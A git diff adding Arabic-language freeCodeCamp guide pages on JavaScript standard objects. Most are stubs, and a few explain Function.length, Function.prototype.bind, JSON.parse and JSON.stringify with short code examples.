diff --git a/client/src/guide/arabic/javascript/standard-objects/date/date-utc/index.md b/client/src/guide/arabic/javascript/standard-objects/date/date-utc/index.md
new file mode 100644
index 0000000000..b4585b01bc
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/date/date-utc/index.md
@@ -0,0 +1,11 @@
+---
+title: Date Utc
+localeTitle: تاريخ اوت
+---
+## تاريخ اوت
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-utc/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/date/index.md b/client/src/guide/arabic/javascript/standard-objects/date/index.md
new file mode 100644
index 0000000000..4d296356d8
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/date/index.md
@@ -0,0 +1,11 @@
+---
+title: Date
+localeTitle: تاريخ
+---
+## تاريخ
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/error/error-prototype-columnnumber/index.md b/client/src/guide/arabic/javascript/standard-objects/error/error-prototype-columnnumber/index.md
new file mode 100644
index 0000000000..89e79e1dd3
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/error/error-prototype-columnnumber/index.md
@@ -0,0 +1,11 @@
+---
+title: Error.prototype.columnNumber
+localeTitle: Error.prototype.columnNumber
+---
+## Error.prototype.columnNumber
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/error/error-prototype-columnnumber/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/error/error-prototype-filename/index.md b/client/src/guide/arabic/javascript/standard-objects/error/error-prototype-filename/index.md
new file mode 100644
index 0000000000..367d1526fe
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/error/error-prototype-filename/index.md
@@ -0,0 +1,11 @@
+---
+title: Error.prototype.fileName
+localeTitle: Error.prototype.fileName
+---
+## Error.prototype.fileName
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/error/error-prototype-filename/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/error/error-prototype-linenumber/index.md b/client/src/guide/arabic/javascript/standard-objects/error/error-prototype-linenumber/index.md
new file mode 100644
index 0000000000..1a7fe6cfa2
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/error/error-prototype-linenumber/index.md
@@ -0,0 +1,11 @@
+---
+title: Error.prototype.lineNumber
+localeTitle: Error.prototype.lineNumber
+---
+## Error.prototype.lineNumber
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/error/error-prototype-linenumber/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/error/error-prototype-message/index.md b/client/src/guide/arabic/javascript/standard-objects/error/error-prototype-message/index.md
new file mode 100644
index 0000000000..d2ccfa4518
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/error/error-prototype-message/index.md
@@ -0,0 +1,11 @@
+---
+title: Error.prototype.message
+localeTitle: Error.prototype.message
+---
+## Error.prototype.message
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/error/error-prototype-message/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/error/error-prototype-name/index.md b/client/src/guide/arabic/javascript/standard-objects/error/error-prototype-name/index.md
new file mode 100644
index 0000000000..6611cdda3b
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/error/error-prototype-name/index.md
@@ -0,0 +1,11 @@
+---
+title: Error.prototype.name
+localeTitle: Error.prototype.name
+---
+## Error.prototype.name
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/error/error-prototype-name/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/error/error-prototype-stack/index.md b/client/src/guide/arabic/javascript/standard-objects/error/error-prototype-stack/index.md
new file mode 100644
index 0000000000..8f0f77b9b2
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/error/error-prototype-stack/index.md
@@ -0,0 +1,11 @@
+---
+title: Error.prototype.stack
+localeTitle: Error.prototype.stack
+---
+## Error.prototype.stack
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/error/error-prototype-stack/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/error/error-prototype-tosource/index.md b/client/src/guide/arabic/javascript/standard-objects/error/error-prototype-tosource/index.md
new file mode 100644
index 0000000000..5682aa02b5
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/error/error-prototype-tosource/index.md
@@ -0,0 +1,11 @@
+---
+title: Error.prototype.toSource
+localeTitle: Error.prototype.toSource
+---
+## Error.prototype.toSource
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/error/error-prototype-tosource/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/error/error-prototype-tostring/index.md b/client/src/guide/arabic/javascript/standard-objects/error/error-prototype-tostring/index.md
new file mode 100644
index 0000000000..dd382f1107
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/error/error-prototype-tostring/index.md
@@ -0,0 +1,11 @@
+---
+title: Error.prototype.toString
+localeTitle: Error.prototype.toString
+---
+## Error.prototype.toString
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/error/error-prototype-tostring/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/error/index.md b/client/src/guide/arabic/javascript/standard-objects/error/index.md
new file mode 100644
index 0000000000..5b9fb41c11
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/error/index.md
@@ -0,0 +1,11 @@
+---
+title: Error
+localeTitle: خطأ
+---
+## خطأ
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/error/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/function/function-caller/index.md b/client/src/guide/arabic/javascript/standard-objects/function/function-caller/index.md
new file mode 100644
index 0000000000..7562cfc775
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/function/function-caller/index.md
@@ -0,0 +1,11 @@
+---
+title: Function Caller
+localeTitle: وظيفة المتصل
+---
+## وظيفة المتصل
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/function/function-caller/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/function/function-displayname/index.md b/client/src/guide/arabic/javascript/standard-objects/function/function-displayname/index.md
new file mode 100644
index 0000000000..d510a528c8
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/function/function-displayname/index.md
@@ -0,0 +1,11 @@
+---
+title: Function displayName
+localeTitle: وظيفة displayName
+---
+## وظيفة displayName
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/function/function-displayname/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/function/function-length/index.md b/client/src/guide/arabic/javascript/standard-objects/function/function-length/index.md
new file mode 100644
index 0000000000..4bd7a13f12
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/function/function-length/index.md
@@ -0,0 +1,37 @@
+---
+title: Function Length
+localeTitle: طول الوظيفة
+---
+## طول الوظيفة
+
+تحمل الخاصية `length` في كائن الدالة عدد الوسيطات المتوقع بواسطة الدالة عند استدعاء.
+
+ `function noArgs() { } 
+ 
+ function oneArg(a) { } 
+ 
+ console.log(noArgs.length); // 0 
+ 
+ console.log(oneArg.length); // 1 
+` 
+
+### ES2015 التركيب
+
+ES2015 ، أو ES6 كما يطلق عليه عادة ، قدم المعلمات المتبقية العامل والافتراضية وظيفة. كل من هذه الإضافات تغيير طريقة عمل الخاصية `length` .
+
+إذا تم استخدام عامل التشغيل المتبقي أو المعلمات الافتراضية في تعريف الدالة ، فإن خاصية `length` ستشمل فقط عدد الوسيطات قبل عامل تشغيل باقي أو معلمة افتراضية.
+
+ `function withRest(...args) { } 
+ 
+ function withArgsAndRest(a, b, ...args) { } 
+ 
+ function withDefaults(a, b = 'I am the default') { } 
+ 
+ console.log(withRest.length); // 0 
+ 
+ console.log(withArgsAndRest.length); // 2 
+ 
+ console.log(withDefaults.length); // 1 
+` 
+
+يمكن العثور على مزيد من المعلومات حول `Function.length` على [مستندات MDN الخاصة بـ Mozilla](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/length) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/function/function-name/index.md b/client/src/guide/arabic/javascript/standard-objects/function/function-name/index.md
new file mode 100644
index 0000000000..d31f7781c0
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/function/function-name/index.md
@@ -0,0 +1,11 @@
+---
+title: Function Name
+localeTitle: اسم وظيفة
+---
+## اسم وظيفة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/function/function-name/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/function/function-prototype-apply/index.md b/client/src/guide/arabic/javascript/standard-objects/function/function-prototype-apply/index.md
new file mode 100644
index 0000000000..920e2cc8b7
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/function/function-prototype-apply/index.md
@@ -0,0 +1,11 @@
+---
+title: Function.prototype.apply
+localeTitle: Function.prototype.apply
+---
+## Function.prototype.apply
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/function/function-prototype-apply/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/function/function-prototype-bind/index.md b/client/src/guide/arabic/javascript/standard-objects/function/function-prototype-bind/index.md
new file mode 100644
index 0000000000..e34b17824c
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/function/function-prototype-bind/index.md
@@ -0,0 +1,56 @@
+---
+title: Function.prototype.bind
+localeTitle: Function.prototype.bind
+---
+## Function.prototype.bind
+
+`bind` هو طريقة على النموذج الأولي لجميع الوظائف في JavaScript. يسمح لك بإنشاء وظيفة جديدة من وظيفة موجودة ، وتغيير وظيفة `this` السياق الجديدة ، وتقديم أي حجج تريد أن يتم استدعاء الوظيفة الجديدة بها. وسيسبق الوسيطات المقدمة `bind` أي وسائط يتم تمريرها إلى الدالة الجديدة عندما يتم استدعاؤها.
+
+### باستخدام `bind` لتغيير `this` في وظيفة
+
+الحجة الأولى المقدمة لل `bind` هي `this` السياق سوف تكون ملزمة وظيفة ل. إذا كنت لا ترغب في تغيير قيمة `this` الممر `null` كوسيطة الأولى.
+
+يتم تكليفك بكتابة الكود لتحديث عدد الحضور عند وصولهم إلى المؤتمر. يمكنك إنشاء صفحة ويب بسيطة تحتوي على زر ، عند النقر فوق ذلك ، بزيادة `numOfAttendees` خاصية على كائن الاستجواب. يمكنك استخدام jQuery لإضافة معالج النقر إلى الزر الخاص بك ، ولكن بعد النقر فوق الزر ، لم يتغير كائن الإيداع. قد تبدو شفرتك شيئًا كهذا.
+
+ `var nodevember = { 
+  numOfAttendees: 0, 
+  incrementNumOfAttendees: function() { 
+    this.numOfAttendees++; 
+  } 
+  // other properties 
+ }; 
+ 
+ $('.add-attendee-btn').on('click', nodevember.incrementNumOfAttendees); 
+` 
+
+هذه مشكلة شائعة عند العمل مع jQuery و JavaScript. عند النقر فوق زر `this` الكلمة في الطريقة التي تم تمريرها إلى ومسج `on` طريقة يرجع زر وليس الكائن المؤتمر. يمكنك ربط `this` السياق الخاص بك بالطريقة لحل المشكلة.
+
+ `var nodevember = { 
+  numOfAttendees: 0, 
+  incrementNumOfAttendees: function() { 
+    this.numOfAttendees++; 
+  } 
+  // other properties 
+ }; 
+ 
+ $('.add-attendee-btn').on('click', nodevember.incrementNumOfAttendees.bind(nodevember)); 
+` 
+
+الآن عند النقر فوق الزر يشير `this` إلى كائن `nodevember` .
+
+### توفير الحجج لوظيفة مع `bind`
+
+كل وسيطة تم تمريرها `bind` بعد الأول سوف تسبق أية وسائط يتم تمريرها عند استدعاء الوظيفة. هذا يسمح لك بتطبيق الحجج مسبقًا على إحدى الوظائف. في المثال أدناه ، تأخذ `combineStrings` معًا. `bind` ثم يتم استخدامها لإنشاء دالة التي توفر دائما "كول" كسلسلة الأولى.
+
+ `function combineStrings(str1, str2) { 
+  return str1 + " " + str2 
+ } 
+ 
+ var makeCool = combineStrings.bind(null, "Cool"); 
+ 
+ makeCool("trick"); // "Cool trick" 
+` 
+
+يحتوي الدليل على [هذا المرجع](https://guide.freecodecamp.org/javascript/this-reference) على مزيد من المعلومات حول كيفية تغيير ما تشير إليه `this` الكلمة الرئيسية.
+
+يمكن العثور على مزيد من التفاصيل حول طريقة `bind` على [مستندات MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind) الخاصة بـ Mozilla.
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/function/function-prototype-call/index.md b/client/src/guide/arabic/javascript/standard-objects/function/function-prototype-call/index.md
new file mode 100644
index 0000000000..5ec4e83b0c
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/function/function-prototype-call/index.md
@@ -0,0 +1,11 @@
+---
+title: Function.prototype.call
+localeTitle: Function.prototype.call
+---
+## Function.prototype.call
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/function/function-prototype-call/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/function/function-prototype-isgenerator/index.md b/client/src/guide/arabic/javascript/standard-objects/function/function-prototype-isgenerator/index.md
new file mode 100644
index 0000000000..810a989b91
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/function/function-prototype-isgenerator/index.md
@@ -0,0 +1,11 @@
+---
+title: Function.prototype.isGenerator
+localeTitle: Function.prototype.isGenerator
+---
+## Function.prototype.isGenerator
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/function/function-prototype-isgenerator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/function/function-prototype-tosource/index.md b/client/src/guide/arabic/javascript/standard-objects/function/function-prototype-tosource/index.md
new file mode 100644
index 0000000000..7a3b8846fd
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/function/function-prototype-tosource/index.md
@@ -0,0 +1,11 @@
+---
+title: Function.prototype.toSource
+localeTitle: Function.prototype.toSource
+---
+## Function.prototype.toSource
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/function/function-prototype-tosource/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/function/function-prototype-tostring/index.md b/client/src/guide/arabic/javascript/standard-objects/function/function-prototype-tostring/index.md
new file mode 100644
index 0000000000..093d8b607a
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/function/function-prototype-tostring/index.md
@@ -0,0 +1,11 @@
+---
+title: Function.prototype.toString
+localeTitle: Function.prototype.toString
+---
+## Function.prototype.toString
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/function/function-prototype-tostring/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/function/index.md b/client/src/guide/arabic/javascript/standard-objects/function/index.md
new file mode 100644
index 0000000000..2ca75d44da
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/function/index.md
@@ -0,0 +1,11 @@
+---
+title: Function
+localeTitle: وظيفة
+---
+## وظيفة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/function/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/generator/generator-prototype-next/index.md b/client/src/guide/arabic/javascript/standard-objects/generator/generator-prototype-next/index.md
new file mode 100644
index 0000000000..4db7dfce05
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/generator/generator-prototype-next/index.md
@@ -0,0 +1,11 @@
+---
+title: Generator.prototype.next
+localeTitle: Generator.prototype.next
+---
+## Generator.prototype.next
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/generator/generator-prototype-next/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/generator/generator-prototype-return/index.md b/client/src/guide/arabic/javascript/standard-objects/generator/generator-prototype-return/index.md
new file mode 100644
index 0000000000..48ddee862f
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/generator/generator-prototype-return/index.md
@@ -0,0 +1,11 @@
+---
+title: Generator.prototype.return
+localeTitle: Generator.prototype.return
+---
+## Generator.prototype.return
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/generator/generator-prototype-return/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/generator/generator-prototype-throw/index.md b/client/src/guide/arabic/javascript/standard-objects/generator/generator-prototype-throw/index.md
new file mode 100644
index 0000000000..ca54da05c1
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/generator/generator-prototype-throw/index.md
@@ -0,0 +1,11 @@
+---
+title: Generator.prototype.throw
+localeTitle: Generator.prototype.throw
+---
+## Generator.prototype.throw
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/generator/generator-prototype-throw/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/generator/index.md b/client/src/guide/arabic/javascript/standard-objects/generator/index.md
new file mode 100644
index 0000000000..806046f364
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/generator/index.md
@@ -0,0 +1,11 @@
+---
+title: Generator
+localeTitle: مولد كهرباء
+---
+## مولد كهرباء
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/generator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/index.md b/client/src/guide/arabic/javascript/standard-objects/index.md
new file mode 100644
index 0000000000..bbdafad422
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/index.md
@@ -0,0 +1,11 @@
+---
+title: Standard Objects
+localeTitle: كائنات قياسية
+---
+## كائنات قياسية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/json/index.md b/client/src/guide/arabic/javascript/standard-objects/json/index.md
new file mode 100644
index 0000000000..59f04a2f5b
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/json/index.md
@@ -0,0 +1,23 @@
+---
+title: JSON
+localeTitle: JSON
+---
+يستخدم JavaScript Object Notation أو `JSON` تنسيق كائنات JavaScript لتخزين البيانات. يتميز JSON بالمرونة لأنه يسمح `Data Structures` عشوائية من `strings` `numbers` `booleans` `arrays` `objects` .
+
+في ما يلي مثال على كائن JSON:
+
+ `var ourMusic = [ 
+  { 
+    "artist": "Daft Punk", 
+    "title": "Homework", 
+    "release_year": 1997, 
+    "formats": [ 
+      "CD", 
+      "Cassette", 
+      "LP" ], 
+    "gold": true 
+  } 
+ ]; 
+` 
+
+هذه صفيف من الكائنات ويحتوي الكائن على أجزاء مختلفة من `metadata` حول أحد الألبومات. كما أن لديها مجموعة `formats` متداخلة. يمكن إضافة سجلات ألبوم إضافية إلى مصفوفة المستوى الأعلى.
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/json/json-arrays/index.md b/client/src/guide/arabic/javascript/standard-objects/json/json-arrays/index.md
new file mode 100644
index 0000000000..63a7fe90c4
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/json/json-arrays/index.md
@@ -0,0 +1,29 @@
+---
+title: JSON Arrays
+localeTitle: JSON Arrays
+---
+## JSON Arrays
+
+لا تختلف JSON Arrays عن كائن الصفيف العادي الذي تستخدمه في Javascript. في كائن المصفوفة الذي يحتوي على العديد من `JSON Objects` .
+
+في ما يلي مثال على صفيف JSON:
+
+ `    var aMyPlaylist = [{ 
+        artist: "Ed Sheeran", 
+        track: "Supermarket flowers", 
+        myRating: 10 
+    }, { 
+        artist: "Tracy Chapman", 
+        track: "Fastcar", 
+        myRating: 9 
+    }]; 
+` 
+
+هذه عبارة عن مصفوفة JSON تُعرف باسم `aMyPlaylist` . يمكن تطبيق جميع طرق الصفيف مثل `map` ، `filter` ، `sort` وما إلى ذلك على أي JSON Array أيضًا
+
+#### معلومات اكثر:
+
+يمكن العثور على المزيد من طرق الصفيف في الروابط التالية
+
+*   [صفيف - Freecodecamp](https://guide.freecodecamp.org/javascript/standard-objects/array)
+*   [صفيف - موزيلا شبكة المطورين](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/json/json-parse/index.md b/client/src/guide/arabic/javascript/standard-objects/json/json-parse/index.md
new file mode 100644
index 0000000000..3ed114b232
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/json/json-parse/index.md
@@ -0,0 +1,55 @@
+---
+title: JSON Parse
+localeTitle: JSON تحليل
+---
+## JSON تحليل
+
+تقوم طريقة `JSON.parse()` بتوزيع سلسلة وإنشاء كائن جديد تم وصفه بواسطة سلسلة.
+
+#### بناء الجملة:
+
+ `    JSON.parse(text [, reviver]) 
+` 
+
+##### المعلمات:
+
+`text` السلسلة المراد تحليلها كـ JSON
+
+`reviver` (اختياري) ستتلقى الدالة `key` `value` كوسيطة. هذه الوظيفة يمكن استخدامها ل tranform قيمة النتيجة.
+
+فيما يلي مثال على كيفية استخدام `JSON.parse()` :
+
+ ``var data = '{"foo": "bar"}'; 
+ 
+ console.log(data.foo); // This will print `undefined` since `data` is of type string and has no property named as `foo` 
+ 
+ // You can use JSON.parse to create a new JSON object from the given string 
+ var convertedData = JSON.parse(data); 
+ 
+ console.log(convertedData.foo); // This will print `bar 
+`` 
+
+[Repl.it Demo](https://repl.it/MwgK/0)
+
+هنا مثال مع `reviver` :
+
+ `var data = '{"value": 5}'; 
+ 
+ var result = JSON.parse(data, function(key, value) { 
+    if (typeof value === 'number') { 
+        return value * 10; 
+    } 
+    return value; 
+ }); 
+ 
+ // Original Data 
+ console.log("Original Data:", data); // This will print Original Data: {"value": 5} 
+ // Result after parsing 
+ console.log("Parsed Result: ", result); // This will print Parsed Result:  { value: 50 } 
+` 
+
+في المثال أعلاه ، يتم مضاعفة جميع القيم [الرقمية في](https://repl.it/Mwfp/0) `10` - [Repl.it Demo](https://repl.it/Mwfp/0)
+
+#### معلومات اكثر:
+
+[JSON.parse - MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/json/json-stringify/index.md b/client/src/guide/arabic/javascript/standard-objects/json/json-stringify/index.md
new file mode 100644
index 0000000000..53bc797f22
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/json/json-stringify/index.md
@@ -0,0 +1,193 @@
+---
+title: JSON Stringify
+localeTitle: JSON Stringify
+---
+## JSON Stringify
+
+تحوّل طريقة `JSON.stringify()` قيمة جافا سكريبت _آمنة_ JSON إلى سلسلة JSON متوافقة.
+
+ما هي قيم JSON الآمنة التي قد يطرحها المرء! دعونا نجعل قائمة بجميع قيم JSON-unsafe وأي شيء غير موجود في القائمة يمكن اعتباره آمنًا من JSON.
+
+#### قيم JSON-unsafe:
+
+*   `undefined`
+*   `function(){}`
+*   (ES6 +) `Symbol`
+*   كائن ذو مرجع (مراجع) دائرية فيه
+
+#### بناء الجملة
+
+ `  JSON.stringify( value [, replacer [, space]]) 
+` 
+
+في أبسط أشكالها وأكثرها استخدامًا:
+
+ `  JSON.stringify( value ) 
+` 
+
+#### المعلمات
+
+`value` : `value` جافا سكريبت "stringified".
+
+`replacer` : (اختياري) وظيفة أو مصفوفة تعمل كمرشح لخصائص كائن القيمة المراد تضمينها في سلسلة JSON.
+
+`space` (اختياري) قيمة رقمية أو سلسلة لتوفير المسافة البادئة لسلسلة JSON. إذا تم توفير قيمة رقمية ، فأن العديد من المسافات (حتى 10) تعمل كحاشية indentaion في كل مستوى. إذا تم توفير قيمة سلسلة ، فإن هذه السلسلة (تصل إلى 10 أجهزة chracters أولية) تعمل كمسافات عند كل مستوى.
+
+#### نوع العودة
+
+نوع إرجاع الأسلوب: `string` .
+
